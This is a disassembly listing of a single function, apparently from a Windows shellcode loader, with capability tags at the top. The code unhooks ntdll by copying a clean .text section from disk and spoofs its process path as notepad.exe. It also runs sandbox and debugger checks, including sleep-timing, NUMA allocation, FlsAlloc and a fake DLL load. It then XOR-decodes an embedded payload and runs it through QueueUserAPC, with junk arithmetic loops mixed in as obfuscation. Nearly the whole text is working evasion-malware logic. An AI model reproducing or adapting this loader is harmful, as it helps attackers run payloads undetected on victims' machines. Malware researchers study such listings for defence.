Function at 0x4014f0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
sub esp, 0x298
call fcn.004026b0
mov dword [esp], str.ntdll.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [ebp - 0x8c], eax
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [ebp - 0x90], eax
mov dword [esp], 0x730
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x98], 1
mov dword [ebp - 0x20], 0
jmp 0x4015b8
mov dword [ebp - 0x24], 0
jmp 0x4015ae
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, dword [ebp - 0x20]
imul edx, eax, 0xb8
mov eax, dword [ebp - 0x94]
lea ebx, [edx + eax]
mov edx, 0x51eb851f
mov eax, ecx
imul edx
mov eax, edx
sar eax, 5
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x64
mov eax, ecx
sub eax, edx
mov edx, dword [ebp - 0x24]
mov dword [ebx + edx*4], eax
add dword [ebp - 0x24], 1
cmp dword [ebp - 0x24], 0x2d
jle 0x40156f
add dword [ebp - 0x20], 1
cmp dword [ebp - 0x20], 9
jle 0x401566
mov dword [ebp - 0x20], 0
jmp 0x4015fd
mov dword [ebp - 0x24], 0
jmp 0x4015f3
mov eax, dword [ebp - 0x20]
imul edx, eax, 0xb8
mov eax, dword [ebp - 0x94]
add edx, eax
mov eax, dword [ebp - 0x24]
mov eax, dword [edx + eax*4]
test eax, eax
jne 0x4015ef
add dword [ebp - 0x1c], 1
add dword [ebp - 0x24], 1
cmp dword [ebp - 0x24], 0x2d
jle 0x4015d0
add dword [ebp - 0x20], 1
cmp dword [ebp - 0x20], 9
jle 0x4015c7
cmp dword [ebp - 0x1c], 0xe6
je 0x401616
mov dword [ebp - 0x98], 0
mov eax, dword [ebp - 0x94]
mov dword [esp], eax
call sub.msvcrt.dll_free
fldz
fstp dword [ebp - 0x2c]
mov dword [ebp - 0x28], 0
jmp 0x40166e
fild dword [ebp - 0x28]
fld1
faddp st(1)
fstp dword [ebp - 0x27c]
fld dword [ebp - 0x27c]
fstp dword [esp + 4]
fld1
fchs
fstp dword [esp]
call fcn.004035c0
fild dword [ebp - 0x28]
fld st(0)
faddp st(1)
fld1
fsubp st(1)
fdivp st(1)
fld dword [ebp - 0x2c]
faddp st(1)
fstp dword [ebp - 0x2c]
add dword [ebp - 0x28], 1
cmp dword [ebp - 0x28], 0x138
jle 0x401632
fld dword [ebp - 0x2c]
fld dword [0x406200]
fmulp st(1)
fstp dword [ebp - 0x2c]
mov dword [esp], str.ntdll.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [ebp - 0x9c], eax
mov dword [esp], str.psapi.dll
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
sub esp, 4
mov dword [esp + 4], str.GetModuleInformation
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
jne 0x4016f4
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
sub esp, 4
mov dword [esp + 4], str.GetModuleInformation
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
je 0x40195c
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
mov dword [esp + 0xc], 0xc
lea edx, [ebp - 0x178]
mov dword [esp + 8], edx
mov edx, dword [ebp - 0x9c]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [ebp - 0x30]
call eax
sub esp, 0x10
mov eax, dword [ebp - 0x178]
mov dword [ebp - 0xa0], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0x80000000
mov dword [esp], str.c:windows_system32_ntdll.dll
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
call eax
sub esp, 0x1c
mov dword [ebp - 0xa4], eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x1000002
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xa4]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call eax
sub esp, 0x18
mov dword [ebp - 0xa8], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 4
mov eax, dword [ebp - 0xa8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_MapViewOfFile]
call eax
sub esp, 0x14
mov dword [ebp - 0xac], eax
mov eax, dword [ebp - 0xa0]
mov dword [ebp - 0xb0], eax
mov eax, dword [ebp - 0xb0]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp - 0xa0]
add eax, edx
mov dword [ebp - 0xb4], eax
mov word [ebp - 0x32], 0
jmp 0x401948
mov eax, dword [ebp - 0xb4]
movzx eax, word [eax + 0x14]
movzx edx, ax
mov eax, dword [ebp - 0xb4]
lea ecx, [edx + eax]
movzx edx, word [ebp - 0x32]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
add eax, ecx
add eax, 0x18
mov dword [ebp - 0xb8], eax
mov eax, dword [ebp - 0xb8]
mov dword [esp + 4], str..text
mov dword [esp], eax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x40193d
mov dword [ebp - 0x198], 0
mov eax, dword [ebp - 0xb8]
mov eax, dword [eax + 8]
mov edx, dword [ebp - 0xb8]
mov ecx, dword [edx + 0xc]
mov edx, dword [ebp - 0xa0]
add edx, ecx
mov ecx, edx
lea edx, [ebp - 0x198]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov dword [esp], ecx
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call eax
sub esp, 0x10
mov eax, dword [ebp - 0xb8]
mov eax, dword [eax + 8]
mov edx, dword [ebp - 0xb8]
mov ecx, dword [edx + 0xc]
mov edx, dword [ebp - 0xac]
add edx, ecx
mov ebx, edx
mov edx, dword [ebp - 0xb8]
mov ecx, dword [edx + 0xc]
mov edx, dword [ebp - 0xa0]
add edx, ecx
mov dword [esp + 8], eax
mov dword [esp + 4], ebx
mov dword [esp], edx
call sub.msvcrt.dll_memcpy
mov edx, dword [ebp - 0x198]
mov eax, dword [ebp - 0xb8]
mov eax, dword [eax + 8]
mov ecx, dword [ebp - 0xb8]
mov ebx, dword [ecx + 0xc]
mov ecx, dword [ebp - 0xa0]
add ecx, ebx
mov ebx, ecx
lea ecx, [ebp - 0x198]
mov dword [esp + 0xc], ecx
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov dword [esp], ebx
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call eax
sub esp, 0x10
movzx eax, word [ebp - 0x32]
add eax, 1
mov word [ebp - 0x32], ax
mov eax, dword [ebp - 0xb4]
movzx eax, word [eax + 6]
cmp word [ebp - 0x32], ax
jb 0x401829
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x3c], 1
mov dword [ebp - 0x40], 0
mov dword [ebp - 0xbc], 0x3c9
jmp 0x40199e
mov edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x3c]
add eax, edx
mov dword [ebp - 0x16c], eax
add dword [ebp - 0x40], 1
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x16c]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x40]
cmp eax, dword [ebp - 0xbc]
jl 0x40197d
mov dword [ebp - 0x194], 0
mov dword [esp + 4], str.NtQueryInformationProcess
mov eax, dword [ebp - 0x8c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0xc0], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
lea edx, [ebp - 0x194]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0x18
lea edx, [ebp - 0x190]
mov dword [esp + 8], edx
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [ebp - 0xc0]
call eax
sub esp, 0x14
mov eax, dword [ebp - 0x18c]
add eax, 0x28
mov dword [ebp - 0xc4], eax
mov eax, dword [ebp - 0xc4]
mov dword [eax + 0x44], str.C:_windows_system32_notepad.exe
mov eax, dword [ebp - 0xc4]
mov dword [eax + 0x3c], str.C:_windows_system32_notepad.exe
mov dword [esp], 0xeb8
call sub.msvcrt.dll_malloc
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0x44], 0
jmp 0x401a90
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, dword [ebp - 0x44]
lea edx, [eax*4]
mov eax, dword [ebp - 0xc8]
lea ebx, [edx + eax]
mov edx, 0x68db8bad
mov eax, ecx
imul edx
mov eax, edx
sar eax, 0xc
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x2710
mov eax, ecx
sub eax, edx
mov dword [ebx], eax
add dword [ebp - 0x44], 1
cmp dword [ebp - 0x44], 0x3ad
jle 0x401a51
mov dword [ebp - 0x44], 0
jmp 0x401b4d
cmp dword [ebp - 0x44], 0
je 0x401adc
mov eax, dword [ebp - 0x44]
add eax, 0x3fffffff
lea edx, [eax*4]
mov eax, dword [ebp - 0xc8]
add eax, edx
mov edx, dword [eax]
mov eax, dword [ebp - 0x44]
lea ecx, [eax*4]
mov eax, dword [ebp - 0xc8]
add eax, ecx
mov eax, dword [eax]
cmp edx, eax
jg 0x401ae2
add dword [ebp - 0x44], 1
jmp 0x401b4d
mov eax, dword [ebp - 0x44]
add eax, 0x3fffffff
lea edx, [eax*4]
mov eax, dword [ebp - 0xc8]
add eax, edx
mov eax, dword [eax]
mov dword [ebp - 0x168], eax
mov eax, dword [ebp - 0x44]
lea edx, [eax*4]
mov eax, dword [ebp - 0xc8]
add eax, edx
mov edx, dword [ebp - 0x44]
add edx, 0x3fffffff
lea ecx, [edx*4]
mov edx, dword [ebp - 0xc8]
add edx, ecx
mov eax, dword [eax]
mov dword [edx], eax
mov eax, dword [ebp - 0x44]
lea edx, [eax*4]
mov eax, dword [ebp - 0xc8]
add edx, eax
mov eax, dword [ebp - 0x168]
mov dword [edx], eax
sub dword [ebp - 0x44], 1
cmp dword [ebp - 0x44], 0x3ad
jle 0x401aa5
mov eax, dword [ebp - 0xc8]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov dword [ebp - 0xcc], 0
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [esp + 4], str.VirtualAllocExNuma
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0xd0], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0x40
mov dword [esp + 0xc], 0x3000
mov dword [esp + 8], 0x3d7
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [ebp - 0xd0]
call eax
sub esp, 0x18
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 0
je 0x4025f1
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateEventA]
call eax
sub esp, 0x10
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0xd4], 0
je 0x4025f1
mov dword [esp + 4], 0x56f
mov eax, dword [ebp - 0xd4]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
sub esp, 8
mov dword [ebp - 0xd8], eax
mov dword [esp], str.ztgxxzteiryjikt.dll
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
sub esp, 4
mov dword [ebp - 0xdc], eax
cmp dword [ebp - 0xdc], 0
jne 0x4025f1
mov dword [ebp - 0xe0], 0x3b3
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [esp + 4], str.SleepEx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0xe4], eax
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [esp + 4], str.GetTickCount
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0xe8], eax
mov eax, dword [ebp - 0xe8]
call eax
mov dword [ebp - 0xec], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xe0]
mov dword [esp], eax
mov eax, dword [ebp - 0xe4]
call eax
sub esp, 8
mov eax, dword [ebp - 0xe8]
call eax
mov dword [ebp - 0xf0], eax
mov eax, dword [ebp - 0xf0]
sub eax, dword [ebp - 0xec]
cmp eax, 0x381
jbe 0x4025f1
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
sub esp, 4
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 0
je 0x401d76
mov dword [esp + 4], str.FlsAlloc
mov eax, dword [ebp - 0xf4]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0xf8], eax
mov dword [esp], 0
mov eax, dword [ebp - 0xf8]
call eax
sub esp, 4
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0xffffffff
je 0x4025f1
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
sub esp, 4
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 0
je 0x401dd6
mov dword [esp + 4], str.FlsAlloc
mov eax, dword [ebp - 0xfc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x100], eax
mov dword [esp], 0
mov eax, dword [ebp - 0x100]
call eax
sub esp, 4
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0xffffffff
je 0x4025f1
mov dword [ebp - 0x104], 0x297
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [esp + 4], str.GetTickCount
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x108], eax
mov eax, dword [ebp - 0x108]
call eax
mov dword [ebp - 0x10c], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x104]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_SleepEx]
call eax
sub esp, 8
mov eax, dword [ebp - 0x108]
call eax
mov dword [ebp - 0x110], eax
mov eax, dword [ebp - 0x110]
sub eax, dword [ebp - 0x10c]
cmp eax, 0x265
jbe 0x4025f1
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [esp + 4], str.FlsAlloc
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x114], eax
mov dword [esp], 0
mov eax, dword [ebp - 0x114]
call eax
sub esp, 4
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0xffffffff
je 0x4025f1
mov dword [esp + 8], 4
mov dword [esp + 4], 0
mov dword [esp], 0x1fffff
mov eax, dword [sym.imp.KERNEL32.dll_OpenProcess]
call eax
sub esp, 0xc
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 0
jne 0x4025f1
mov dword [ebp - 0x19c], 0
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [esp + 4], str.CheckRemoteDebuggerPresent
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x120], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
lea edx, [ebp - 0x19c]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [ebp - 0x120]
call eax
sub esp, 8
mov eax, dword [ebp - 0x19c]
cmp eax, 1
je 0x4025f1
mov byte [ebp - 0x19d], 0
mov dword [esp + 4], str.HeapCreate
mov eax, dword [ebp - 0x90]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x124], eax
mov dword [esp], 0xf4c
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x12c], 0
mov dword [ebp - 0x50], 0
jmp 0x401fde
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, dword [ebp - 0x50]
lea edx, [eax*4]
mov eax, dword [ebp - 0x128]
lea ebx, [edx + eax]
mov edx, 0x88888889
mov eax, ecx
imul edx
lea eax, [edx + ecx]
sar eax, 4
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x1e
mov eax, ecx
sub eax, edx
mov dword [ebx], eax
add dword [ebp - 0x50], 1
cmp dword [ebp - 0x50], 0x3d2
jle 0x401fa1
mov dword [ebp - 0x50], 0
jmp 0x40200b
mov eax, dword [ebp - 0x50]
lea edx, [eax*4]
mov eax, dword [ebp - 0x128]
add eax, edx
mov eax, dword [eax]
add dword [ebp - 0x54], eax
add dword [ebp - 0x50], 1
cmp dword [ebp - 0x50], 0x3d2
jle 0x401ff0
mov eax, dword [ebp - 0x128]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov dword [esp + 4], str.HeapAlloc
mov eax, dword [ebp - 0x90]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x5c], 1
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x134], 0x320
jmp 0x402085
mov edx, dword [ebp - 0x58]
mov eax, dword [ebp - 0x5c]
add eax, edx
mov dword [ebp - 0x164], eax
add dword [ebp - 0x60], 1
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x164]
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x60]
cmp eax, dword [ebp - 0x134]
jl 0x402064
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0x40000
mov eax, dword [ebp - 0x124]
call eax
sub esp, 0xc
mov dword [ebp - 0x138], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 8
mov eax, dword [ebp - 0x138]
mov dword [esp], eax
mov eax, dword [ebp - 0x130]
call eax
sub esp, 0xc
mov dword [ebp - 0x13c], eax
mov dword [esp + 4], str.RtlMoveMemory
mov eax, dword [ebp - 0x8c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x140], eax
mov dword [esp + 8], 0
lea eax, [ebp - 0x19d]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x13c]
mov dword [esp], eax
mov eax, dword [ebp - 0x140]
call eax
sub esp, 0xc
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x6c], 0
lea eax, [ebp - 0x20e]
mov ebx, 0x40618c
mov edx, 0x71
mov ecx, dword [ebx]
mov dword [eax], ecx
mov ecx, dword [ebx + edx - 4]
mov dword [eax + edx - 4], ecx
lea edi, [eax + 4]
and edi, 0xfffffffc
sub eax, edi
sub ebx, eax
add edx, eax
and edx, 0xfffffffc
mov eax, edx
shr eax, 2
mov esi, ebx
mov ecx, eax
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x23e], 0x5aa7c092
mov dword [ebp - 0x23a], 0xaef4b91
mov dword [ebp - 0x236], 0x82141af5
mov dword [ebp - 0x232], 0xd8339c1e
mov dword [ebp - 0x22e], 0x9137e84e
mov dword [ebp - 0x22a], 0xe9a01f7d
mov dword [ebp - 0x226], 0xaa30118f
mov dword [ebp - 0x222], 0xf54c15dd
mov dword [ebp - 0x21e], 0xdc9a3568
mov dword [ebp - 0x21a], 0x4440fcf3
mov dword [ebp - 0x216], 0xa943f012
mov dword [ebp - 0x212], 0xc82b97
mov dword [ebp - 0x64], 0
jmp 0x4022bc
lea edx, [ebp - 0x23e]
mov eax, dword [ebp - 0x64]
add eax, edx
movzx ecx, byte [eax]
lea edx, [ebp - 0x20e]
mov eax, dword [ebp - 0x68]
add eax, edx
movzx eax, byte [eax]
xor ecx, eax
mov edx, ecx
lea ecx, [ebp - 0x26d]
mov eax, dword [ebp - 0x64]
add eax, ecx
mov byte [eax], dl
cmp dword [ebp - 0x68], 0x6f
jne 0x402230
mov dword [ebp - 0x68], 0
jmp 0x4022b8
add dword [ebp - 0x68], 1
mov dword [ebp - 0x70], 0xffffffff
mov dword [esp], 0x17c0
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x160], eax
add dword [ebp - 0x70], 1
call sub.msvcrt.dll_rand
mov dword [ebp - 0x27c], eax
fild dword [ebp - 0x27c]
mov eax, dword [ebp - 0x70]
lea edx, [eax*8]
mov eax, dword [ebp - 0x160]
add eax, edx
fld qword [0x406208]
fdivp st(1)
fstp qword [eax]
mov eax, dword [ebp - 0x70]
lea edx, [eax*8]
mov eax, dword [ebp - 0x160]
add eax, edx
fld qword [eax]
mov eax, dword [ebp - 0x70]
lea edx, [eax*8]
mov eax, dword [ebp - 0x160]
lea ebx, [edx + eax]
fstp qword [esp]
call sub.msvcrt.dll_atan
fstp qword [ebx]
cmp dword [ebp - 0x70], 0x2f6
jle 0x40224d
add dword [ebp - 0x64], 1
mov eax, dword [ebp - 0x64]
cmp eax, 0x2e
jbe 0x4021f1
mov dword [ebp - 0x64], 0
jmp 0x4024c1
mov edx, dword [ebp - 0x64]
mov eax, dword [ebp - 0x13c]
add eax, edx
movzx ebx, byte [eax]
lea edx, [ebp - 0x26d]
mov eax, dword [ebp - 0x6c]
add eax, edx
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x64]
mov eax, dword [ebp - 0x13c]
add eax, edx
xor ebx, ecx
mov edx, ebx
mov byte [eax], dl
mov dword [esp], 0x60c
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x154], eax
mov dword [ebp - 0x78], 0
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x74], 0
jmp 0x4023a9
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, dword [ebp - 0x74]
lea edx, [eax*4]
mov eax, dword [ebp - 0x154]
lea ebx, [edx + eax]
mov edx, 0x10624dd3
mov eax, ecx
imul edx
mov eax, edx
sar eax, 6
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x3e8
mov eax, ecx
sub eax, edx
mov dword [ebx], eax
mov eax, dword [ebp - 0x74]
lea edx, [eax*4]
mov eax, dword [ebp - 0x154]
add eax, edx
mov eax, dword [eax]
and eax, 1
test eax, eax
je 0x402386
add dword [ebp - 0x78], 1
jmp 0x4023a5
mov eax, dword [ebp - 0x74]
lea edx, [eax*4]
mov eax, dword [ebp - 0x154]
add eax, edx
mov eax, dword [eax]
and eax, 1
test eax, eax
jne 0x4023a5
add dword [ebp - 0x7c], 1
add dword [ebp - 0x74], 1
cmp dword [ebp - 0x74], 0x182
jle 0x40232a
mov eax, dword [ebp - 0x154]
mov dword [esp], eax
call sub.msvcrt.dll_free
cmp dword [ebp - 0x6c], 0x2e
jne 0x4023d6
mov dword [ebp - 0x6c], 0
jmp 0x4024bd
mov dword [esp], 0x580
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x158], eax
mov dword [esp], 0x580
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x15c], eax
mov dword [ebp - 0x84], 0x15f
mov dword [ebp - 0x80], 0
jmp 0x40244c
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, dword [ebp - 0x80]
lea edx, [eax*4]
mov eax, dword [ebp - 0x158]
lea ebx, [edx + eax]
mov edx, 0x1b4e81b5
mov eax, ecx
imul edx
mov eax, edx
sar eax, 5
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x12c
mov eax, ecx
sub eax, edx
mov dword [ebx], eax
add dword [ebp - 0x80], 1
cmp dword [ebp - 0x80], 0x15f
jle 0x40240d
mov dword [ebp - 0x80], 0
jmp 0x402494
mov eax, dword [ebp - 0x84]
lea edx, [eax*4]
mov eax, dword [ebp - 0x158]
add eax, edx
mov edx, dword [ebp - 0x80]
lea ecx, [edx*4]
mov edx, dword [ebp - 0x15c]
add edx, ecx
mov eax, dword [eax]
mov dword [edx], eax
sub dword [ebp - 0x84], 1
add dword [ebp - 0x80], 1
cmp dword [ebp - 0x80], 0x15f
jle 0x40245e
mov eax, dword [ebp - 0x158]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov eax, dword [ebp - 0x15c]
mov dword [esp], eax
call sub.msvcrt.dll_free
add dword [ebp - 0x6c], 1
add dword [ebp - 0x64], 1
cmp dword [ebp - 0x64], 0
js 0x4022d4
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0x144], eax
mov dword [esp + 4], str.QueueUserAPC
mov eax, dword [ebp - 0x90]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x88], 0xffffffff
mov dword [esp], 0x790
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x14c], eax
add dword [ebp - 0x88], 1
call sub.msvcrt.dll_rand
mov dword [ebp - 0x27c], eax
fild dword [ebp - 0x27c]
fld qword [0x406208]
fdivp st(1)
fld st(0)
faddp st(1)
mov eax, dword [ebp - 0x88]
lea edx, [eax*8]
mov eax, dword [ebp - 0x14c]
add eax, edx
fld1
fsubp st(1)
fstp qword [eax]
mov eax, dword [ebp - 0x88]
lea edx, [eax*8]
mov eax, dword [ebp - 0x14c]
add eax, edx
fld qword [eax]
mov eax, dword [ebp - 0x88]
lea edx, [eax*8]
mov eax, dword [ebp - 0x14c]
add eax, edx
fabs
fstp qword [eax]
cmp dword [ebp - 0x88], 0xf0
jle 0x402514
mov dword [esp + 4], str.SleepEx
mov eax, dword [ebp - 0x90]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x150], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentThread]
call eax
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x144]
mov dword [esp], eax
mov eax, dword [ebp - 0x148]
call eax
sub esp, 0xc
mov dword [esp + 4], 1
mov dword [esp], 0xffffffff
mov eax, dword [ebp - 0x150]
call eax
sub esp, 8
mov eax, 0
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret